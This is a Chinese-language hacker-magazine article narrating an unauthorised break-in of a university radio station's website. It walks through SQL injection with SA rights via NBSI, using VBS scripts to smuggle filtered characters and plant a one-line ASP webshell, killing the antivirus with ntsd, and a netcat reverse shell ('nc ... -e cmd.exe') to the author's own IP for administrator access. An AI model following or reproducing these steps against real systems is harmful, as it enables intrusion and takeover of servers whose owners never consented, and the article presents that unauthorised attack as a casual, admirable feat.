******:***中VBS的靈活使用

來這個城市快兩年了,無用過時的垃圾課程,名目繁多的考試。讓人感覺到大學生活的兩個字“不爽”。只有一個音樂電臺陪我度過了兩年無聊的大學生活。
近日,去它的網站逛了逛,大腦一發熱,決定給她做個安全測試。網頁是htm形式的,在上面亂點了一陣。沒有發現使用動態頁面的地方。用SUPERSCAN掃了一下,發現機子開了80和8080端口(安全意識還不錯)系統方面應該沒有什麼問題(最起碼在我看來)。
     記得以前看過一個動畫,講的是如何注入htm形式的網站。其實,說白了也就是在htm裏找帶有asp之類的地方,不知道它是不是存在這個問題。半天工夫之後,還真讓我給找到了一個使用asp的地方,隨手加了一個單引號,返回錯誤。
依據返回的信息說明是SQL Server,看來不妙!網站使用的是獨立服務器,因爲用ip可以直接訪問網站。用NBSI檢測了一下這個連接,我靠!竟然是SA權限。

     當時開始的時候,我是想先下載一個NC在NBSI裏執行命令,然後再反向連接過來,這樣就可以得到系統權限了。具體操作是用ECHO命令寫一個ftp.txt。但是,我在輸入命令之後發現結果並不像我想的那樣順利。當我輸入一條echo命令發現竟然執行了7次。我的命令是echo open ftp.horizon.com>>F:\web\wsad\horizon.txt(F:\web爲網站的根目錄)。但是,結果卻是寫了7次,如果這樣下載文件肯定不會成功。
     不知大家注意過沒有?在用NBSI執行命令的時候如果勾選了嘗試返回結果,執行命令就會很慢。所以,這裏爲了提高執行命令的速度,就不要勾選嘗試返回結果。這裏由於不能把open ftp.horizon.com成功寫入horizon.txt。所以,得另闢它路。
     前面沒成功,接着我想到了這個經典中的經典。如果能把它寫入web目錄就好辦多了。現在就像是過街老鼠人人喊打,處境悲慘。即使有被打的危險,也還是要過街。但是,這裏卻有一個問題就是在NBSI裏執行時,文件中的%被過濾了,少了%,廢物一個。
     當時我想了一個辦法,既然它過濾了%,那麼我就找它沒有過濾掉的字符。例如“*”,這樣我就可以先把寫入文件,然後再把文件中的*換成%不就可以了。年輕人嘛,說幹就幹。不過這裏要用到幾個腳本。寫文件的腳本horzion.vbs,命令格式爲cscript horizon.vbs“要寫的東西“objectfile”,內容爲。
     上面文件需要用echo命令把它寫到服務器上***.vbe或***.vbs,然後再用這個vbs寫我們要的文件,上面文件中類似於:“,%,&:和回車符是不能直接作爲參數傳遞給腳本文件的。所以,我們這裏還需要一個替換文件horizon1.vbs,作用就是替換特定字符串了。
     這裏簡單解釋一下:on error resume next是一個容錯語句,至關重要,不管後面的程序發生什麼意外,整個程序都將繼續執行下去,直至結束。其次是IF語句,爲了防止多條語句重複向文件寫入相同的內容,這裏加了一個標誌若x=1才執行寫文件,寫完馬上把x賦值2。這裏可能有人會問爲什麼在每條語句後都加個“:”,其實,這是爲了防止同一行有多條相同語句的情況,保證程序的順利執行。
     這樣程序就不能正常執行了。如果想把:“,%,&,回車符直接作爲參數傳遞給腳本文件,這裏可以看出回車被“==”所替換,雙引號被**替換,&被—替換,%被@@替換,在程序開始之前,我們先把文件open.ftp.horizon.com轉換成可以被horizon.vbs接受的格式。用腳本轉換horizon.vbs。命令格式爲:
cscript horizon1.vbs 源文件 目標文件。

     在本機執行cscript horizon1.vbs horizon.txt horiozn1.txt。其中horizon.txt文件中的內容爲一句話後門。horizon1.txt文件中的內容爲轉換之後的horizon.vbs的ECHO代碼。
     我們在NBSI的那邊NB Commander中一句一句執行上面的命令,等執行完之後,就會在對方的系統目錄下生成一個文件horizon.vbe接着執行命令:
cscript writefile.vbe “”F:\web\wsad\horizon.asp
     這樣一來我們就把一句話後門成功地寫進了對方WEB目錄了,相應的地址就是:[url]http://www.[/url]***.com/wsad/horizon.asp。然後在把post.htm的form action指向該地址就OK了。
     小提示:當我們在給腳本文件傳遞參數的時候,如果參數中帶有空格的時候,就得用兩個雙引號將其括起來。
     這樣一來一個WebShell就到手了,這裏爲了防止其他意外情況,我在 horizon.asp文件中加了一句驗證if request(“id”)=“horizon” then。如果在沒有加參數id=horizon的情況下訪問該頁面的時候,只會顯示一個空頁面。在一定程度上可以保護我的戰果哦!
     不過現在看來拿下這個WebShell還真是費了一翻周折,不過最終還是搞到手了。繼而想借此WebShell做點文章,但是不料發現這臺機子設置的還是蠻BT的。暈,我狂暈,暈過之後再醒過來。
     接着net user命令成功完成。再來個net start,發現有Serv-u,好東西!接下來一口氣輸入了n個命令,此時情報已經收集的差不多了。情報到手,準備開戰,此戰中立功最大的莫過於cacls了。其實這個命令對於高手們來說早都用濫了。不過爲了照顧像我一樣的菜菜們,這裏稍作解釋。cacls這個命令可以解除系統對目錄的瀏覽限制。至於其具體用法,大家可以字cmd下輸入cacls /?瞭解。
     本來認爲有了Serv-u之後,提權就不會有多難了。但是,事實證明我錯了。這個Serv-u對於各種攻勢都不感冒,我最終是無功而返,看來管理員還是蠻勤快的,將補丁都打上了。
     東方不亮,西方亮。此路不通,另覓它路,難不成要吊死在一棵樹上。開始的時候就想下個nc.exe進去。但未成功,片刻的休息之後,我停止的引擎又再次飛快的轉動起來。
     WebShell上傳nc.exe還算順利,因爲機子上的瑞星早被我用ntsd –c -q -p PID給幹掉了。先在本地nc -vv -l -p 80監聽,然後再用nc.exe反向連接過來就OK。不過開始的時候,我還是犯了一個常識性錯誤,當時我沒有多想就用WebShell反向連接過來的。因爲WebShell本身只有iusr權限,所以我們反向連接過來的也只有iusr權限嘍!因爲這個,我當時被搞了一頭霧水,開始怎麼也想不明白?後來才恍然大悟過來啊!不過,幸好我“反應”算迅速,沒有再按照原來的思路走下去。上面我都已經說了,這裏不能用WebShell,要用NBSI,因爲NBSI裏反向過來的是administrator權限。呵呵!(注意哦)
nc 222.90.***.244 -r 80 -e cmd .exe
     這裏 222.90.***.244是我的ip。順利得到了對方的一個Shell(這個Shell可是administrator權限)。^O^
     之後我還試着嘗試了另外幾個端口,結果是都可以正常的反向連接過來,至此我並沒有再繼續下去。至於剛開始時的失敗,我後來才發現原因是因爲用horizon.vbe寫的那個下載文件失敗了。下載的文件爲0字節。開始並沒有注意到這點,後來才發現,很鬱悶!看來做事千萬馬虎不得。
     最後總結這次***的經歷,其實最終能成功也是有一些偶然,假設這臺服務器如果是臺虛擬主機而不是臺獨立的服務器,那麼SQL就不可能是SA權限。繼而後面的許多工作就不會順利下去。其次,成功的另外一個因素就是靈活的腳本應用,不然一句話後門就寫不進去,接着後面的工作就都是白搭,不過慶幸的是最後還是搞下了。

作者: Horizon
來 源: 《***防線》
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章